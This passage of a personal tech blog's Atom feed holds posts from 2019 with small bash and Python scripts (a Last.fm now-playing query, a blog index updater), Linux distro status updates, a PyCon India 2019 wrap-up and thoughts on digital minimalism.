color8)&amp;quot;&#xA;&#xA;USER=&amp;quot;icyphox&amp;quot;&#xA;URL=&amp;quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&amp;quot;&#xA;URL+=&amp;quot;&amp;amp;user=$USER&amp;amp;api_key=$API_KEY&amp;amp;format=json&amp;amp;limit=1&amp;amp;nowplaying=true&amp;quot;&#xA;NOTPLAYING=&amp;quot; &amp;quot; # I like to have it show nothing&#xA;RES=$(curl -s $URL)&#xA;NOWPLAYING=$(jq &#39;.recenttracks.track[0].&amp;quot;@attr&amp;quot;.nowplaying&#39; &amp;lt;&amp;lt;&amp;lt; &amp;quot;$RES&amp;quot; | tr -d &#39;&amp;quot;&#39;)&#xA;&#xA;&#xA;if [[ &amp;quot;$NOWPLAYING&amp;quot; = &amp;quot;true&amp;quot; ]]&#xA;then&#xA;&#x9;TRACK=$(jq &#39;.recenttracks.track[0].name&#39; &amp;lt;&amp;lt;&amp;lt; &amp;quot;$RES&amp;quot; | tr -d &#39;&amp;quot;&#39;)&#xA;&#x9;ARTIST=$(jq &#39;.recenttracks.track[0].artist.&amp;quot;#text&amp;quot;&#39; &amp;lt;&amp;lt;&amp;lt; &amp;quot;$RES&amp;quot; | tr -d &#39;&amp;quot;&#39;)&#xA;&#x9;echo -ne &amp;quot;%{F$light}$TRACK %{F$fg}by $ARTIST&amp;quot;&#xA;else&#xA;&#x9;echo -ne &amp;quot;$NOTPLAYING&amp;quot;&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;source&lt;/code&gt; command is used to fetch the API key which I store at&#xA;&lt;code&gt;~/.lastfm&lt;/code&gt;. The &lt;code&gt;fg&lt;/code&gt; and &lt;code&gt;light&lt;/code&gt; variables can be ignored, they&amp;rsquo;re only&#xA;for coloring output on my bar. The rest is fairly trivial and just&#xA;involves JSON parsing with &lt;a href=&#34;https://stedolan.github.io/jq/&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;jq&lt;/code&gt;&lt;/a&gt;.&#xA;That&amp;rsquo;s it! It&amp;rsquo;s so small, but I learnt a ton. For those curious, here&amp;rsquo;s&#xA;what it looks like running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/orGJ9.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;update-latest-post-on-the-index-page&#34;&gt;Update latest post on the index page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This pertains to this very blog that you&amp;rsquo;re reading. I wanted a quick&#xA;way to update the &amp;ldquo;latest post&amp;rdquo; section in the home page and the&#xA;&lt;a href=&#34;/blog&#34;&gt;blog&lt;/a&gt; listing, with a link to the latest post. This would require&#xA;editing the Markdown &lt;a href=&#34;https://github.com/icyphox/site/tree/master/pages&#34; rel=&#34;nofollow&#34;&gt;source&lt;/a&gt;&#xA;of both pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a very&#xA;interesting challenge to me, primarily because it requires in-place&#xA;editing of the file, not just appending. Sure, I could&amp;rsquo;ve come up with&#xA;some &lt;code&gt;sed&lt;/code&gt; one-liner, but that didn&amp;rsquo;t seem very fun. Also I hate&#xA;regexes. Did a lot of research (read: Googling) on in-place editing of&#xA;files in Python, sorting lists of files by modification time etc. and&#xA;this is what I ended up on, ultimately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;#!/usr/bin/env python3&#xA;&#xA;from markdown2 import markdown_path&#xA;import os&#xA;import fileinput&#xA;import sys&#xA;&#xA;# change our cwd&#xA;os.chdir(&amp;quot;bin&amp;quot;)&#xA;&#xA;blog = &amp;quot;../pages/blog/&amp;quot;&#xA;&#xA;# get the most recently created file&#xA;def getrecent(path):&#xA; files = [path + f for f in os.listdir(blog) if f not in [&amp;quot;_index.md&amp;quot;, &amp;quot;feed.xml&amp;quot;]]&#xA; files.sort(key=os.path.getmtime, reverse=True)&#xA; return files[0]&#xA;&#xA;# adding an entry to the markdown table&#xA;def update_index(s):&#xA; path = &amp;quot;../pages/_index.md&amp;quot;&#xA; with open(path, &amp;quot;r&amp;quot;) as f:&#xA; md = f.readlines()&#xA; ruler = md.index(&amp;quot;| -- | --: |\n&amp;quot;)&#xA; md[ruler + 1] = s + &amp;quot;\n&amp;quot;&#xA;&#xA; with open(path, &amp;quot;w&amp;quot;) as f:&#xA; f.writelines(md)&#xA;&#xA;# editing the md source in-place&#xA;def update_blog(s):&#xA; path = &amp;quot;../pages/blog/_index.md&amp;quot;&#xA; s = s + &amp;quot;\n&amp;quot;&#xA; for l in fileinput.FileInput(path, inplace=1):&#xA; if &amp;quot;--:&amp;quot; in l:&#xA; l = l.replace(l, l + s)&#xA; print(l, end=&amp;quot;&amp;quot;),&#xA;&#xA;&#xA;# fetch title and date&#xA;meta = markdown_path(getrecent(blog), extras=[&amp;quot;metadata&amp;quot;]).metadata&#xA;fname = os.path.basename(os.path.splitext(getrecent(blog))[0])&#xA;url = &amp;quot;/blog/&amp;quot; + fname&#xA;line = f&amp;quot;| [{meta[&#39;title&#39;]}]({url}) | `{meta[&#39;date&#39;]}` |&amp;quot;&#xA;&#xA;update_index(line)&#xA;update_blog(line)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m going to skip explaining this one out, but in essence, it&amp;rsquo;s &lt;strong&gt;one&#xA;massive hack&lt;/strong&gt;. And in the end, that&amp;rsquo;s my point exactly. It&amp;rsquo;s very&#xA;hacky, but the sheer amount I learnt by writing this ~50&#xA;line script can&amp;rsquo;t be taught anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was partially how&#xA;&lt;a href=&#34;https://github.com/icyphox/vite&#34; rel=&#34;nofollow&#34;&gt;vite&lt;/a&gt; was born. It was originally&#xA;intended to be a script to build my site, but grew into a full-blown&#xA;Python package. I could&amp;rsquo;ve just&#xA;used an off-the-shelf static site generator&#xA;given that there are &lt;a href=&#34;https://staticgen.com&#34; rel=&#34;nofollow&#34;&gt;so many&lt;/a&gt; of them, but&#xA;I chose to write one myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that just about sums up what I wanted to say. The best and most fun&#xA;way to learn to code&amp;mdash;write hacky scripts. You heard it here.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2019-10-17T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-10-17:blog/2019-10-17</id>
<link href="https://icyphox.sh/blog/2019-10-17"></link>
<summary type="html">&lt;h2&gt;Not weekly anymore, but was it ever?&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve decided to drop the &amp;ldquo;Weekly&amp;rdquo; part of the status update posts, since&#xA;they were never weekly and&amp;mdash;let&amp;rsquo;s be honest&amp;mdash;they aren&amp;rsquo;t going to be.&#xA;These posts are, henceforth, just &amp;ldquo;Status updates&amp;rdquo;. The date range can&#xA;be inferred from the post date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here&amp;rsquo;s what I&amp;rsquo;ve been up to!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;void-linux&#34;&gt;Void Linux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes, I decided to ditch Alpine in favor of Void. Alpine was great,&#xA;really. The very comfy &lt;code&gt;apk&lt;/code&gt;, ultra mnml system&amp;hellip; but having to&#xA;maintain a chroot for my glibc needs was getting way too painful. And&#xA;the package updates are so slow! Heck, they&amp;rsquo;re still on kernel 4.xx on&#xA;their supposed &amp;ldquo;bleeding&amp;rdquo; &lt;code&gt;edge&lt;/code&gt; repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, Void Linux it is. Still a very clean system. I&amp;rsquo;m loving it.&#xA;I also undervolted my system using &lt;a href=&#34;https://github.com/georgewhewell/undervolt&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;undervolt&lt;/code&gt;&lt;/a&gt;&#xA;(-95 mV). Can&amp;rsquo;t say for sure if there&amp;rsquo;s a noticeable difference in&#xA;battery life though. I&amp;rsquo;ll see if I can run some tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; be the end of my distro hopping. Hopefully.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;pycon&#34;&gt;PyCon&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yeah yeah, enough already. Read &lt;a href=&#34;/blog/pycon-wrap-up&#34;&gt;my previous post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;this-website&#34;&gt;This website&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve moved out of GitHub Pages over to Netlify. This isn&amp;rsquo;t my first time&#xA;using Netlify, though. I used to host my old blog which ran Hugo, there.&#xA;I was tired of doing this terrible hack to maintain a single repo for&#xA;both my source (&lt;code&gt;master&lt;/code&gt;) and deploy (&lt;code&gt;gh-pages&lt;/code&gt;). In essence, here&amp;rsquo;s&#xA;what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#!/usr/bin/env bash&#xA;&#xA;git push origin master&#xA;# push contents of `build/` to the `gh-pages` branch&#xA;git subtree push --prefix build origin gh-pages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can now simply push to &lt;code&gt;master&lt;/code&gt;, and Netlify generates a build for me&#xA;by installing &lt;a href=&#34;https://github.com/icyphox/vite&#34; rel=&#34;nofollow&#34;&gt;vite&lt;/a&gt;, and running &lt;code&gt;vite&#xA;build&lt;/code&gt;. Very pleasant.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;mnmlwm-s-status&#34;&gt;&lt;code&gt;mnmlwm&lt;/code&gt;&amp;rsquo;s status&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/minimalwm/minimal&#34; rel=&#34;nofollow&#34;&gt;mnmlwm&lt;/a&gt;, for those unaware, is my pet project which aims to be a simple&#xA;window manager written in Nim. I&amp;rsquo;d taken a break from it for a while&#xA;because Xlib is such a pain to work with (or I&amp;rsquo;m just dense). Anyway,&#xA;I&amp;rsquo;m planning on getting back to it, with some fresh inspiration from&#xA;Dylan Araps&amp;rsquo; &lt;a href=&#34;https://github.com/dylanaraps/sowm&#34; rel=&#34;nofollow&#34;&gt;sowm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other&#34;&gt;Other&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve been reading a lot of manga lately. Finished &lt;em&gt;Kekkon Yubiwa&#xA;Monogatari&lt;/em&gt; (till the latest chapter) and &lt;em&gt;Another&lt;/em&gt;, and I&amp;rsquo;ve just&#xA;started &lt;em&gt;Kakegurui&lt;/em&gt;. I&amp;rsquo;ll reserve my opinions for when I update the&#xA;&lt;a href=&#34;/reading&#34;&gt;reading log&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s about it, and I&amp;rsquo;ll see you&amp;mdash;definitely not next week.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>PyCon India 2019 wrap-up</title>
<updated>2019-10-15T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-10-15:blog/pycon-wrap-up</id>
<link href="https://icyphox.sh/blog/pycon-wrap-up"></link>
<summary type="html">&lt;h2&gt;Pretty fun weekend, I&#39;d say&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;m writing this article as I sit in class, back on the grind. Last&#xA;weekend&amp;mdash;Oct 12th and 13th&amp;mdash;was PyCon India 2019, in Chennai, India.&#xA;It was my first PyCon, &lt;em&gt;and&lt;/em&gt; my first ever talk at a major conference!&#xA;This is an account of the all the cool stuff I saw, people I met and the&#xA;talks I enjoyed.&#xA;Forgive the lack of pictures&amp;mdash;I prefer living the moment through my&#xA;eyes.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;talks&#34;&gt;Talks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So much ML! Not that it&amp;rsquo;s a bad thing, but definitely interesting to&#xA;note. From what I counted, there were about 17 talks tagged under &amp;ldquo;Data&#xA;Science, Machine Learning and AI&amp;rdquo;. I&amp;rsquo;d have liked to see more talks&#xA;discussing security and privacy, but hey, the organizers can only pick&#xA;from what&amp;rsquo;s submitted. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that point out of the way, here are some of the talks I really liked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Python Packaging - where we are and where we&amp;rsquo;re headed&lt;/strong&gt; by &lt;a href=&#34;https://twitter.com/pradyunsg&#34; rel=&#34;nofollow&#34;&gt;Pradyun&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Micropython: Building a Physical Inventory Search Engine&lt;/strong&gt; by &lt;a href=&#34;https://twitter.com/stonecharioteer&#34; rel=&#34;nofollow&#34;&gt;Vinay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ragabot - Music Encoded&lt;/strong&gt; by &lt;a href=&#34;https://twitter.com/vikipedia&#34; rel=&#34;nofollow&#34;&gt;Vikrant&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Let&amp;rsquo;s Hunt a Memory Leak&lt;/strong&gt; by &lt;a href=&#34;https://twitter.com/sankeyplus&#34; rel=&#34;nofollow&#34;&gt;Sanket&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;oh and of course, &lt;a href=&#34;https://twitter.com/dabeaz&#34; rel=&#34;nofollow&#34;&gt;David Beazley&lt;/a&gt;&amp;rsquo;s closing&#xA;keynote&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;my-talk&#34;&gt;My talk (!!!)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My good buddy &lt;a href=&#34;https://twitter.com/_vologue&#34; rel=&#34;nofollow&#34;&gt;Raghav&lt;/a&gt; and I spoke about&#xA;our smart lock security research. Agreed, it might have been less&#xA;&amp;ldquo;hardware&amp;rdquo; and more of a bug on the server-side, but that&amp;rsquo;s the thing&#xA;about IoT right? It&amp;rsquo;s so multi-faceted, and is an amalgamation of so&#xA;many different hardware and software stacks. But, anyway&amp;hellip;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reassured by folks after the talk that the silence during Q/A was&#xA;the &amp;ldquo;good&amp;rdquo; kind of silence. Was it really? I&amp;rsquo;ll never know.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;some-nice-people-i-met&#34;&gt;Some nice people I met&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://twitter.com/abhirathb&#34; rel=&#34;nofollow&#34;&gt;Abhirath&lt;/a&gt;&amp;mdash;A 200 IQ lad. Talked to&#xA;me about everything from computational biology to the physical&#xA;implementation of quantum computers.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://twitter.com/meain_&#34; rel=&#34;nofollow&#34;&gt;Abin&lt;/a&gt;&amp;mdash;He recognized me from my&#xA;&lt;a href=&#34;https://reddit.com/r/unixporn&#34; rel=&#34;nofollow&#34;&gt;r/unixporn&lt;/a&gt; posts, which was pretty&#xA;awesome.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://twitter.com/h6165&#34; rel=&#34;nofollow&#34;&gt;Abhishek&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pradyun and Vikrant (linked earlier)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And a lot of other people doing really great stuff, whose names I&amp;rsquo;m&#xA;forgetting.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;pictures&#34;&gt;Pictures!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It&amp;rsquo;s not much, and&#xA;I can&amp;rsquo;t be bothered to format them like a collage or whatever, so I&amp;rsquo;ll&#xA;just dump them here&amp;mdash;as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/4oTZB.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/EApua.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/40hAp.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/uCDR-.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;c-est-tout&#34;&gt;C&amp;rsquo;est tout&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Overall, a great time and a weekend well spent. It was very different&#xA;from your typical security conference&amp;mdash;a lot more &lt;em&gt;chill&lt;/em&gt;, if you&#xA;will. The organizers did a fantastic job and the entire event was put&#xA;together really well.&#xA;I don&amp;rsquo;t have much else to say, but I know for sure that I&amp;rsquo;ll be&#xA;there next time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was PyCon India, 2019.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Thoughts on digital minimalism</title>
<updated>2019-10-05T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-10-05:blog/digital-minimalism</id>
<link href="https://icyphox.sh/blog/digital-minimalism"></link>
<summary type="html">&lt;h2&gt;Put that screen down!&lt;/h2&gt;&#xA;&lt;p&gt;Ah yes, yet another article on the internet on this beaten to death&#xA;subject. But this is inherently different, since it&amp;rsquo;s &lt;em&gt;my&lt;/em&gt; opinion on&#xA;the matter, and &lt;em&gt;my&lt;/em&gt; technique(s) to achieve &amp;ldquo;digital minimalism&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to me, minimalism can be achieved on two primary fronts&amp;mdash;the phone &amp;amp; the computer. Let&amp;rsquo;s start with the phone. The daily carry.&#xA;The device that&amp;rsquo;s on our person from when we get out of bed, till we get&#xA;back in bed.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-phone&#34;&gt;The phone&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve read about a lot of methods people employ to curb their phone&#xA;usage. Some have tried grouping &amp;ldquo;distracting&amp;rdquo; apps into a separate&#xA;folder, and this supposedly helps reduce their usage. Now, I fail to see&#xA;how this would work, but YMMV. Another technique I see often is using&#xA;a time governance app&amp;mdash;like OnePlus&amp;rsquo; Zen Mode&amp;mdash;to enforce how much&#xA;time you spend using specific apps, or the phone itself. I&amp;rsquo;ve tried this&#xA;for myself, but I constantly found myself counting down the minutes&#xA;after which the phone would become usable again. Not helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution to this is a lot more brutal. I straight up uninstalled the&#xA;apps that I found myself using too often. There&amp;rsquo;s a simple principle&#xA;behind it&amp;mdash;if the app has a desktop alternative, like Twitter,&#xA;Reddit, etc. use that instead. Here&amp;rsquo;s a list of apps that got nuked from&#xA;my phone:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Twitter&lt;/li&gt;&#xA;&lt;li&gt;Instagram (an exception, no desktop client)&lt;/li&gt;&#xA;&lt;li&gt;Relay for Reddit&lt;/li&gt;&#xA;&lt;li&gt;YouTube (disabled, ships with stock OOS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only non-productive app that I&amp;rsquo;ve let remain is Clover,&#xA;a 4chan client. I didn&amp;rsquo;t find myself using it as much earlier, but we&amp;rsquo;ll see how that&#xA;holds up. I&amp;rsquo;ve also allowed my personal messaging apps to remain, since&#xA;removing those would be inconveniencing others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must admit, I often find myself reaching for my phone out of habit&#xA;just to check Twitter, only to find that its gone. I also subconsciously&#xA;tap the place where its icon used to exist (now replaced with my mail&#xA;client) on my launcher. The only &amp;ldquo;fun&amp;rdquo; thing left on my phone to do is&#xA;read or listen to music. Which is okay, in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-computer&#34;&gt;The computer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I didn&amp;rsquo;t do anything too nutty here, and most of the minimalism is&#xA;mostly aesthetic. I like UIs that get out of the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup right now is just a simple bar at the top showing the time,&#xA;date, current volume and battery %, along with my workspace indicators.&#xA;No fancy colors, no flashy buttons and sliders. And that&amp;rsquo;s it. I don&amp;rsquo;t&#xA;try to force myself to not use stuff&amp;mdash;after all, I&amp;rsquo;ve reduced it&#xA;elsewhere. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question arises: Is this just a phase, or will I stick to it?&#xA;What&amp;rsquo;s going to stop me from heading over to the Play Store and&#xA;installing those apps back? Well, I never said this was going to be&#xA;easy. There&amp;rsquo;s definitely some will power needed to pull this off.&#xA;I guess time will tell.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2019-09-27T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-09-27:blog/2019-09-27</id>
<link href="https://icyphox.sh/blog/2019-09-27"></link>
<summary type="html">&lt;h2&gt;Alpine Linux shenaningans and more&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a lazy Friday afternoon here; yet another off day this week thanks to my&#xA;uni&amp;rsquo;s fest. My last &amp;ldquo;weekly&amp;rdquo; update was 10 days ago, and a lot has happened&#xA;since then. Let&amp;rsquo;s get right into it!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;my-switch-to-alpine&#34;&gt;My switch to Alpine&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Previously, I ran Debian with Buster/Sid repos, and ever since this happened&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ dpkg --list | wc -l&#xA;3817&#xA;&#xA;# or something in that ballpark&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve been wanting to reduce my system&amp;rsquo;s package count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I began my search for a smaller, simpler and lighter distro with a fairly&#xA;sane package manager. I did come across Dylan Araps&amp;rsquo;&#xA;&lt;a href=&#34;https://getkiss.org&#34; rel=&#34;nofollow&#34;&gt;KISS Linux&lt;/a&gt; project, but it seemed a little too hands-on&#xA;for me (and still relatively new). I finally settled on&#xA;&lt;a href=&#34;https://alpinelinux.org&#34; rel=&#34;nofollow&#34;&gt;Alpine Linux&lt;/a&gt;. According to their website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Alpine Linux is a security-oriented, lightweight Linux distribution based&#xA;on musl libc and busybox.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The installation was a breeze, and I was quite surprised to see WiFi working&#xA;OOTB. In the past week of my using this distro, the only major hassle I faced&#xA;was getting my Minecraft launcher to run. The JRE isn&amp;rsquo;t fully ported to &lt;code&gt;musl&lt;/code&gt;&#xA;yet.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; The solution to that is fairly trivial and I plan to write about it&#xA;soon. (hint: it involves chroots)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/LDq8W.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;packaging-for-alpine&#34;&gt;Packaging for Alpine&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On a related note, I&amp;rsquo;ve been busy packaging some of the stuff I use for Alpine&#xA;-- you can see my personal &lt;a href=&#34;https://github.com/icyphox/aports&#34; rel=&#34;nofollow&#34;&gt;aports&lt;/a&gt;&#xA;repository if you&amp;rsquo;re interested. I&amp;rsquo;m currently working on packaging Nim too, so&#xA;keep an eye out for that in the coming week.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;talk-selection-at-pycon-india&#34;&gt;Talk selection at PyCon India!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes! My buddy Raghav (&lt;a href=&#34;https://twitter.com/_vologue&#34; rel=&#34;nofollow&#34;&gt;@_vologue&lt;/a&gt;) and I are&#xA;going to be speaking at PyCon India about our recent smart lock security&#xA;research. The conference is happening in Chennai, much to our convenience.&#xA;If you&amp;rsquo;re attending too, hit me up on Twitter and we can hang!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other&#34;&gt;Other&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That essentially sums up the &lt;em&gt;technical&lt;/em&gt; stuff that I did. My Russian is going&#xA;strong, my reading however, hasn&amp;rsquo;t. I have &lt;em&gt;yet&lt;/em&gt; to finish those books! This&#xA;week, for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Musically, I&amp;rsquo;ve been experimenting. I tried a bit of hip-hop and chilltrap, and&#xA;I think I like it? I still find myself coming back to metalcore/deathcore.&#xA;Here&amp;rsquo;s a list of artists I discovered (and liked) recently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=r3uKGwcwGWA&#34; rel=&#34;nofollow&#34;&gt;Before I Turn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;生 Conform 死 (couldn&amp;rsquo;t find any official YouTube video, check Spotify)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=66eFK1ttdC4&#34; rel=&#34;nofollow&#34;&gt;Treehouse Burning&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=m-w3XM2PwOY&#34; rel=&#34;nofollow&#34;&gt;Lee McKinney&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=cUibXK7F3PM&#34; rel=&#34;nofollow&#34;&gt;Berried Alive&lt;/a&gt; (rediscovered)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s it for now, I&amp;rsquo;ll see you next week!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;The &lt;a href=&#34;https://aboullaite.me/protola-alpine-java/&#34; rel=&#34;nofollow&#34;&gt;Portola Project&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2019-09-17T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-09-17:blog/2019-09-17</id>
<link href="https://icyphox.sh/blog/2019-09-17"></link>
<summary type="html">&lt;h2&gt;A brief on what happened last week&lt;/h2&gt;&#xA;&lt;p&gt;This is something new I&amp;rsquo;m trying out, in an effort to write more frequently&#xA;and to serve as a log of how I&amp;rsquo;m using my time. In theory, I will write this post&#xA;every week. I&amp;rsquo;ll need someone to hold me accountable if I don&amp;rsquo;t. I have yet to decide on&#xA;a format for this, but it will probably include a quick summary of the work I did,&#xA;things I read, IRL stuff, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the meta stuff out of the way, here&amp;rsquo;s what went down last week!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;my-discovery-of-the-xxiivv-webring&#34;&gt;My discovery of the XXIIVV webring&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&amp;rsquo;s a link to&#xA;the &lt;a href=&#34;https://webring.xxiivv.com&#34; rel=&#34;nofollow&#34;&gt;XXIIVV webring&lt;/a&gt;. I really like the idea of webrings.&#xA;It creates a small community of sites and enables sharing of traffic among these sites.&#xA;The XXIIVV webring consists mostly of artists, designers and developers and gosh, some&#xA;of those sites are beautiful. Mine pales in comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The webring also has a &lt;a href=&#34;https://github.com/buckket/twtxt&#34; rel=&#34;nofollow&#34;&gt;twtxt&lt;/a&gt; echo chamber aptly&#xA;called &lt;a href=&#34;https://webring.xxiivv.com/hallway.html&#34; rel=&#34;nofollow&#34;&gt;The Hallway&lt;/a&gt;. twtxt is a fantastic project&#xA;and its complexity-to-usefulness ratio greatly impresses me. You can find my personal&#xA;twtxt feed at &lt;code&gt;/twtxt.txt&lt;/code&gt; (root of this site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which brings me to the next thing I did this/last week.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;twsh-a-twtxt-client-written-in-bash&#34;&gt;&lt;code&gt;twsh&lt;/code&gt;: a twtxt client written in Bash&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m not a fan of the official Python client, because you know, Python is bloat.&#xA;As an advocate of &lt;em&gt;mnmlsm&lt;/em&gt;, I can&amp;rsquo;t use it in good conscience. Thus, began 